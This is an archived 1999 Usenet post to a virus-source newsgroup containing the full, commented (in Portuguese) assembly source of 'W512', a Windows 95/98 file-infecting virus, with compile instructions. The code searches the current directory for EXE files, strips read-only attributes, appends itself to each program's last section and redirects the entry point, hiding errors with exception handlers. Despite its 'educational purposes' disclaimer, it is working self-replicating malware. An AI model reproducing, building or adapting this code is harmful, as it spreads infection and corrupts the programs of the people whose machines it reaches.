;Path: spooler1.proxad.net!proxad.net!oleane!newsfeed.nacamar.de!newsfeed.nacamar.de!news-peer.gip.net!news.gsl.net!gip.net!hub1.ispnews.com!cyc12.deja.bcandid.com!nntp1.deja.com!nnrp2.deja.com!nntp2.deja.com!nnrp1.deja.com!not-for-mail
;De: El señor Vecna <vecna@my-deja.com>
;Forums: alt.comp.virus.source.code
;Objet: Commented source code of a w95/w98 virus(portuguese)
;Date: Sat, 19 Jun 1999 03:43:05 GMT
;Société: Deja.com - Share what you know. Learn what you don't.
;Lines: 357
;ID-Message: <7kf3k7$i84$1@nnrp1.deja.com>
;NNTP-Posting-Host: 200.215.107.223
;X-Article-Creation-Date: Sat Jun 19 03:43:05 1999 GMT
;X-Http-User-Agent: Mozilla/4.03 [pt] (Win95; I)
;X-Http-Proxy: 1.0 x23.deja.com:80 (Squid/1.1.22) for client 200.215.107.223
;Xref: spooler1.proxad.net alt.comp.virus.source.code:928

;[W512] por Vecna
;Copyright (c) 1999
;
;Exemplo de um virus que infecta w95 e w98
;
;para compilar este virus:
;TASM32 /M /ML W512.ASM
;TLINK32 W512.OBJ,,,IMPORT32.LIB
;PEWRSEC W512.EXE
;ou use MAKE
;
;Este virus tem exatamente 512 bytes de tamanho, e infecta arquivos EXE para
;windows 95 e windows 98. Ele nao infecta sobre windows NT, mas sai sem causar
;erros. Quando um arquivo infectado e executado, ele infecta todos os PE files
;no diretorio atual que tem extensao EXE. Muitas vezes os arquivos infectados
;nao aumentarao de tamanho.
;
;O codigo desde virus e baseado no meu virus Fabi(que infecta PE files e DOCs
;do WinWord), e a versao anterior dele e detectado como w95/Sab.512 pelo AVP.
;Eu mudei o codigo um pouco, e muitos dos erros que ele anteriormente tinha
;foram consertados.
;
;Este virus e apenas para fins educacionais, e nao deve ser espalhado, ou ter
;partes do codigo modificado!!!!!
;
;Vecna
;vecna_br@hotmail.com

.386p
.model flat
locals
.data                                          ;cabecalho ASM padrao
dd ?
.code

ofs   equ offset                               ;estas sao abreviacoes que
by    equ byte ptr                             ;eu uso para evitar digitar
wo    equ word ptr                             ;muito :)
dwo   equ dword ptr
k32   equ 0bff70000h

start:
       cmp by [esp+3], 0bfh                    ;verifica se e wNT

       push ofs stub                           ;entrypoint original(agora um
  old_eip equ dwo $-4                          ;simples RET nos coloca de novo
       je @@1                                  ;no hospedeiro)

       ret                                     ;se for wNT, volta pro host
  @@1:

       call get_delta                          ;delta tradicional :)

       call vinit                              ;inicia variaveis para poder
                                               ;usar o simulador de INT21
       mov ah, 1ah
       lea edx, [ebp+ofs dta-ofs delta]
       call int21                              ;seleciona DTA onde os resulta-
                                               ;dos sobre os arquivos buscados
                                               ;vao aparecer
       mov ah, 4eh                             ;buscar arquivos para infectar
       call @@2
       db '*.EXE', 0
  @@2:
       pop edx                                 ;edx=*.EXE
       mov ecx, 27                             ;todos os atributos possiveis
  @@3:
       call int21
       jc @@4                                  ;sem arquivos, volta pro host

       lea edx, [ebp+ofs dta+1eh-ofs delta]
       call infect                             ;pega nome e manda pra rotina
                                               ;de infectar PE files
       mov ah, 4fh
       jmp @@3                                 ;continua busca de arquivos
  @@4:
       ret                                     ;volta pro host

get_delta:
       call delta                              ;rotina que devolve o delta
  delta:                                       ;offset
       pop ebp
       ret

int21:                                         ;simulador de INT21
       call get_delta
       push ecx
       push eax
       push 002a0010h                          ;salva parametros
       call [ebp+ofs vxdcall-ofs delta]        ;chama endereco anteriormente
       ret                                     ;encontrado!

vinit:                                         ;inicia simulador de INT21
       call @@set_seh
       mov esp, [esp+8]                        ;se ocorrer algum erro, va pra
       jmp @@fault                             ;@@fault
  @@set_seh:
       sub ecx, ecx
       push dwo fs:[ecx]
       mov fs:[ecx], esp                       ;poe SEH para esconder todos os
                                               ;possiveis erros que possamos
                                               ;causar
       cmp dwo ds:[k32+80h], 'EP'
       jnz @@fault                             ;achamos o KERNEL32?

       mov esi, ds:[k32+80h+78h]               ;pega import_directory
       add esi, k32+1ch                        ;pega lista de funcoes
       mov eax, [esi]
       mov ebx, [eax+k32]                      ;pega primeira funcao(vxdcall0)
       add ebx, k32
       mov [ebp+ofs vxdcall-ofs delta], ebx    ;salva valor para nosso simulador

  @@fault:

       pop dwo fs:[0]                          ;remove SEH
       pop ecx
       ret

infect:
       call @@set_seh
       mov esp, [esp+8]
       jmp @@fault
  @@set_seh:
       sub ecx, ecx                            ;instala outra SEH, caso ocorra
       push dwo fs:[ecx]                       ;algum erro quando infectamos
       mov fs:[ecx], esp

       mov ax, 4300h
       call int21                              ;pega atributos do arquivo
       jc @@fault

       push edx                                ;salva nome
       push ecx                                ;salva atributos

       mov ax, 4301h
       sub ecx, ecx                            ;limpa atributos(caso o arquivo
       call int21                              ;seja READ-ONLY)
       jc @@1

       mov ax, 3d02h
       call int21                              ;abre o arquivo
       mov ebx, eax
       jc @@1                                  ;se erro, sai

       mov ah, 3fh
       mov ecx, 1024
       lea edx, [ebp+header-ofs delta]         ;le os primeiros 1024 bytes do
       mov esi, edx                            ;arquivo EXE
       call int21
       jc @@2                                  ;se erro, sai

       xor eax, ecx
       jnz @@2                                 ;deu pra ler 1024?

       cmp wo [esi], 'ZM'
       jne @@2                                 ;se nao for um EXE, sai!

       mov eax, dwo [esi+3ch]
       add esi, eax                            ;pega ponteiro pra onde o PE
                                               ;header deveria estar
       cmp eax, 900
       jnb @@2                                 ;nao esta na parte que lemos?

       cmp dwo [esi], 'EP'
       jne @@2                                 ;verifica se e um PE, senao sai

       mov eax, '215w'
       cmp dwo [esi+88], eax                   ;verifica se esta infectado e
       mov dwo [esi+88], eax                   ;ja marca como infectado
       je @@2

       cmp wo [esi+4], 014ch
       jne @@2                                 ;verifica se programa roda em
                                               ;386 e pra cima

       movzx eax, wo [esi+22]
       not al
       test eax, 2002h                         ;se o arquivo nao e executavel
       jnz @@2                                 ;ou e uma DLL, sai

       movzx eax, wo [esi+6]                   ;pega numero de section headers
       dec eax
       imul eax, eax, 40                       ;* tamanho(40 bytes)
       lea edi, [esi+0e0h+24]                  ;+ headers
       add edi, eax                            ;edi=ultimo section header(que
                                               ;nos vamos aumentar pra enfiar
                                               ;o virus dentro!!!)

       mov edx, [edi+16]                       ;pega tamanho da seccao

       push edx
       add edx, [edi+12]                       ;soma RVA da secao(isto e onde
                                               ;o virus comeca na memoria,
                                               ;depois do arquivo carregar)

       xchg edx, [esi+40]                      ;troca isso com o antigo
       mov [ebp+ofs old_eip-ofs delta], edx    ;entrypoint e salva o antigo
       pop edx

       add edx, [edi+20]                       ;edx=onde o virus fica no file,
                                               ;*antes* de carregar

       mov dwo [edi+36], 0c0000040h            ;muda secao para que o virus
                                               ;possa executar

       add dwo [edi+8], ofs vvend-ofs start    ;aumenta tamanho da seccao(ambos
       add dwo [edi+16], ofs vend-ofs start    ;em disco como em memoria)

       mov eax, [esi+52]
       add [ebp+ofs old_eip-ofs delta], eax    ;soma onde o file inicia na
                                               ;memoria no entrypoint antigo,
                                               ;pra poder voltar ao host na boa

       mov ax, 4200h                           ;FILE SEEK
       mov ecx, edx
       shr ecx, 16                             ;ecx:edx=onde o virus deve ser
                                               ;escrito
       call int21

       mov ah, 40h
       lea edx, [ebp+ofs start-ofs delta]
       mov ecx, ofs vend-ofs start
       call int21                              ;escreve o virus no arquivo!!!

       mov ax, 4200h
       sub ecx, ecx
       cdq
       call int21                              ;vai pro comeco do arquivo

       mov ah, 40h
       lea edx, [ebp+ofs header-ofs delta]
       mov ecx, 1024
       call int21                              ;salva headers que nos mudamos

  @@2:
       mov ah, 3eh
       call int21                              ;fecha arquivo

  @@1:
       pop ecx
       pop edx
       mov ax, 4301h                           ;restaura atributos velhos
       call int21

  @@fault:
       pop dwo fs:[0]                          ;remove SEH
       pop ecx
       ret

vxdcall dd 0                                   ;onde nos salvamos VxDCall0

vend equ this byte

dta    db 44 dup (0)                           ;buffer para a DTA

header db 1024 dup (0)                         ;buffer para o cabecalho do PE

vvend equ this byte                            ;o virus acaba aqui!!!

stub:
       push 0                                  ;este e um stub para a primeira
       call @@1                                ;geracao do virus. ele recebe
       db '(c) Vecna', 0                       ;controle depois do virus
  @@1:                                         ;infectar todos os PE EXE do
       call @@2                                ;diretorio atual
       db 'Virus instalado!', 0
  @@2:
       push 0
  extrn MessageBoxA:proc
       call MessageBoxA                        ;mostra mensagem
       push 0
  extrn ExitProcess:proc
       call ExitProcess                        ;termina programa

end    start                                   ;indica onde o programa recebe
                                               ;controle
